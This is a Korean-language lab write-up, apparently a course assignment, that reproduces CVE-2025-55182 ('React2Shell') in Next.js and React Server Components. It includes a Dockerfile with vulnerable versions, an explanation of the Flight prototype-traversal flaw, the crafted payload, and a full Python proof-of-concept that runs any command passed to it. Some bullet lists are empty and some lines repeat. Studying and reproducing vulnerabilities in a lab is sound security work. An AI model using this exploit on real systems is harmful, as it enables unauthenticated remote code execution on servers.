일명 React2Shell
과제 지침에서 요구하는 섹션은 "(Required)"로 표시되어 있습니다.
이 환경은 공식 Node.js Alpine 이미지를 기반으로 하는 커스텀 Dockerfile을 사용합니다.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Dockerfile은 취약한 React Server Components(RSC) 및 Next.js App Router 환경을 구축합니다.
이 환경은 다음의 취약한 버전을 설치합니다:
취약한 서버는 npm run dev를 사용하여 개발 모드로 실행됩니다.
취약한 서버는 npm run dev를 사용하여 개발 모드로 실행됩니다.
이 환경은 다음 구조로 작동합니다:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
공격자는 특수하게 조작된 multipart/form-data 요청을 취약한 Next.js 애플리케이션에 전송합니다.
악의적인 페이로드는 React Flight 프로토콜 역직렬화 과정을 악용합니다.
취약한 애플리케이션은 Next.js App Router 아키텍처를 사용합니다.
요청은 React Server Components 파이프라인을 통해 처리됩니다.
애플리케이션 소스 코드는 src/app/ 디렉터리에 저장됩니다.
src/
└── app/
├── layout.js
└── page.js
layout.js 파일은 App Router 구조에 필요한 루트 레이아웃을 정의하고 React Server Components 환경을 초기화합니다.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
page.js 파일은 /에서 렌더링되는 루트 페이지를 정의하며 취약한 서버가 실행 중임을 나타내는 간단한 메시지를 표시합니다.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
프로젝트 종속성과 실행 스크립트는 package.json 파일을 통해 관리됩니다.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
이 파일은 다음의 취약한 버전을 정의합니다:
취약한 애플리케이션은 다음을 사용하여 실행됩니다:
"scripts": {
"dev": "next dev"
}
서버는 다음을 통해 시작됩니다:
npm run dev
이 명령은 포트 3000에서 취약한 Next.js 개발 서버를 실행합니다.
Flight 프로토콜은 다음과 같은 복잡한 React 객체를 역직렬화합니다:
취약점은 이 역직렬화 과정 중에 발생합니다.
React 런타임은 공격자가 제어하는 Flight 페이로드를 처리합니다.
안전하지 않은 속성 탐색과 프로토타입 접근으로 인해 공격자는 결과적으로 Function 생성자를 탈취할 수 있습니다.
성공적인 악용 이후, 임의의 JavaScript 코드가 Node.js 서버 환경 내부에서 실행됩니다.
이로 인해 원격 코드 실행(RCE)이 발생합니다.
| 구성 요소 | 버전 |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack |
이 환경은 취약한 React Server Components 및 Flight 프로토콜 구현을 사용합니다.
React2Shell로도 알려진 CVE-2025-55182는 React Server Components와 React Flight 프로토콜에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 공격자가 제어하는 Flight 프로토콜 페이로드의 역직렬화 과정 중에 발생합니다.
이 문제로 인해 공격자는 다음을 수행할 수 있습니다:
이 취약점은 단일한 조작된 HTTP 요청만으로 인증 없이 악용될 수 있기 때문에 특히 위험합니다.
취약한 React Server Components 및 Next.js App Router 구성을 사용하는 애플리케이션은 직접적으로 노출됩니다.
이 취약점의 근본 원인은 Flight 프로토콜 역직렬화 중 공격자가 제어하는 객체 참조를 안전하지 않게 처리하는 것입니다.
React Flight는 내부적으로 다음과 같은 특수 참조 문자열을 사용합니다:
$@0
$B1337
$1:__proto__:then
이러한 참조는 역직렬화 중에 재귀적으로 해석됩니다.
취약한 로직은 다음 코드와 유사한 속성 탐색을 수행합니다:
value[path[i]]
속성이 객체 자체에 속하는지 검증하지 않습니다.
결과적으로 공격자는 다음과 같은 위험한 JavaScript 프로토타입 체인 속성에 접근할 수 있습니다:
__proto__
constructor
prototype
이로 인해 결국 프로토타입 오염과 Function 생성자 탈취가 가능해집니다.
공격자는 먼저 가짜 React chunk 객체를 생성합니다.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
핵심 필드는 다음과 같습니다:
"status": "resolved_model"
React 런타임은 이 필드를 잘못 신뢰하여 공격자가 제어하는 객체를 합법적인 내부 chunk 객체로 취급합니다.
다음 페이로드:
$1:__proto__:then
는 역직렬화기가 JavaScript 프로토타입 체인을 탐색하도록 합니다.
취약한 코드가 위험한 속성을 검증하지 않기 때문에 공격자는 다음에 접근할 수 있습니다:
Chunk.prototype.then
이로 인해 가짜 chunk가 thenable 객체로 변환됩니다.
다음 페이로드:
$1:constructor:constructor
는 궁극적으로 다음으로 해석됩니다:
Function
이 페이로드는 다음 코드를 전역 JavaScript Function 생성자로 대체합니다:
response._formData.get
결과적으로 다음이 가능해집니다:
Function(attacker_controlled_payload)
다음 페이로드:
$B1337
는 React Flight 파서가 Blob 파싱 로직으로 들어가도록 강제합니다.
이 과정 중에 다음이 실행됩니다:
response._formData.get(...)
그러나 공격자는 이미 이 함수를 전역 Function 생성자로 대체했습니다.
이로 인해 최종적으로 Node.js 런타임 내부에서 임의의 JavaScript가 실행됩니다.
악용 과정은 다음 순서로 발생합니다:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
공격자는 먼저 조작된 multipart Flight 요청을 전송합니다.
취약한 서버는 악의적인 페이로드를 역직렬화하고 공격자가 제어하는 참조를 재귀적으로 해석합니다.
안전하지 않은 프로토타입 탐색으로 인해 공격자는 결국 Function 생성자를 탈취할 수 있습니다.
Promise 해석과 Blob 파싱 중에 임의의 JavaScript 코드가 실행됩니다.
성공적인 악용 시 공격자는 Node.js 서버 환경 내부에서 임의의 JavaScript 코드를 실행할 수 있습니다.
이 환경에서 악용 코드는 다음 명령을 실행합니다:
touch /tmp/success.txt
컨테이너 내부에 다음 파일이 존재하면 악용 성공이 확인됩니다:
/tmp/success.txt
실제 환경에서 공격자는 다음을 수행할 수 있습니다:
이 취약점은 애플리케이션 비즈니스 로직이 아닌 React 프레임워크 내부에 영향을 미치기 때문에 특히 위험합니다.
즉, 많은 수의 애플리케이션이 영향을 받는 프레임워크 버전을 사용하는 것만으로도 취약해질 수 있습니다.
개념 증명(PoC)은 Python으로 작성되었습니다.
악용 코드는 악의적인 multipart/form-data 요청을 취약한 Next.js 애플리케이션에 직접 전송합니다.
PoC는 다음 작업을 수행합니다:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
악용 페이로드는 여러 개의 특수하게 조작된 Flight 프로토콜 참조를 사용합니다.
$1:__proto__:then| 부분 | 용도 |
|---|---|
$1 | chunk 1 참조 |
__proto__ | 프로토타입 체인 탐색 |
then | Chunk.prototype.then 검색 |
이 페이로드는 가짜 chunk를 thenable 객체로 변환합니다.
$1:constructor:constructor| 부분 | 용도 |
|---|---|
$1 | chunk 1 참조 |
constructor | 객체 생성자 접근 |
constructor | 전역 Function 생성자로 해석 |
이 페이로드는 JavaScript Function 생성자를 탈취합니다.
$B1337$B 접두사는 Flight 파서가 Blob 파싱 로직으로 들어가도록 강제합니다.
이 과정 중에 다음이 실행됩니다:
response._formData.get(...)
공격자가 이미 이 메서드를 Function 생성자로 대체했기 때문에 임의의 JavaScript 코드가 실행됩니다.
$@0이 페이로드는 순환 chunk 참조를 생성합니다.
Chunk 1은 궁극적으로 Chunk 0을 다시 참조합니다.
이 구조를 통해 역직렬화기는 프로토타입 탐색 중에 공격자가 제어하는 가짜 chunk 객체를 사용할 수 있습니다.
악용 코드는 먼저 무작위 multipart boundary를 생성합니다.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
이는 유효한 multipart/form-data 요청을 구성하는 데 필요합니다.
악용 코드는 악의적인 가짜 chunk 객체를 구성합니다.
"status":"resolved_model"
이로 인해 React 런타임은 공격자가 제어하는 객체를 유효한 내부 chunk로 취급합니다.
다음 페이로드:
$1:__proto__:then
는 취약한 파서가 JavaScript 프로토타입 체인을 탐색하도록 강제합니다.
다음 페이로드:
$1:constructor:constructor
는 내부 get 메서드를 JavaScript Function 생성자로 대체합니다.
다음 페이로드:
require('child_process').execSync('touch /tmp/success.txt')
는 결국 Node.js 런타임 내부에서 실행됩니다.
성공적인 악용 시 다음 파일이 취약한 컨테이너 내부에 생성됩니다:
/tmp/success.txt
전체 악용 흐름은 아래와 같이 요약됩니다:
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
Docker 이미지를 빌드합니다.
docker build -t rsc-vuln .
취약한 컨테이너를 실행합니다.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
취약한 Next.js 서버는 다음 주소에서 실행됩니다:
http://127.0.0.1:3000
PoC 스크립트를 실행합니다.
python3 exploit.py
악용 코드는 악의적인 React Flight 페이로드를 취약한 Next.js 서버로 전송합니다.
악용 코드가 대상 파일을 성공적으로 생성했는지 확인합니다.
docker exec -it my-vuln-server ls -la /tmp/success.txt
악용에 성공하면 취약한 컨테이너 내부에서 임의 코드 실행이 발생했음을 확인할 수 있습니다.
성공적인 악용 중 악용 코드는 React Flight 역직렬화와 프로토타입 탐색을 트리거해야 합니다.
취약한 서버는 악의적인 Flight 페이로드를 처리하고 공격자가 제어하는 JavaScript 코드를 실행합니다.
다음 파일이 존재하면 악용 성공이 확인됩니다:
/tmp/success.txt
예시 출력:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
이는 취약한 Node.js 환경 내부에서 임의 명령이 성공적으로 실행되었음을 확인합니다.
다음 스크린샷이 screenshots/ 디렉터리에 포함되어 있습니다:
| 19.0.0-rc |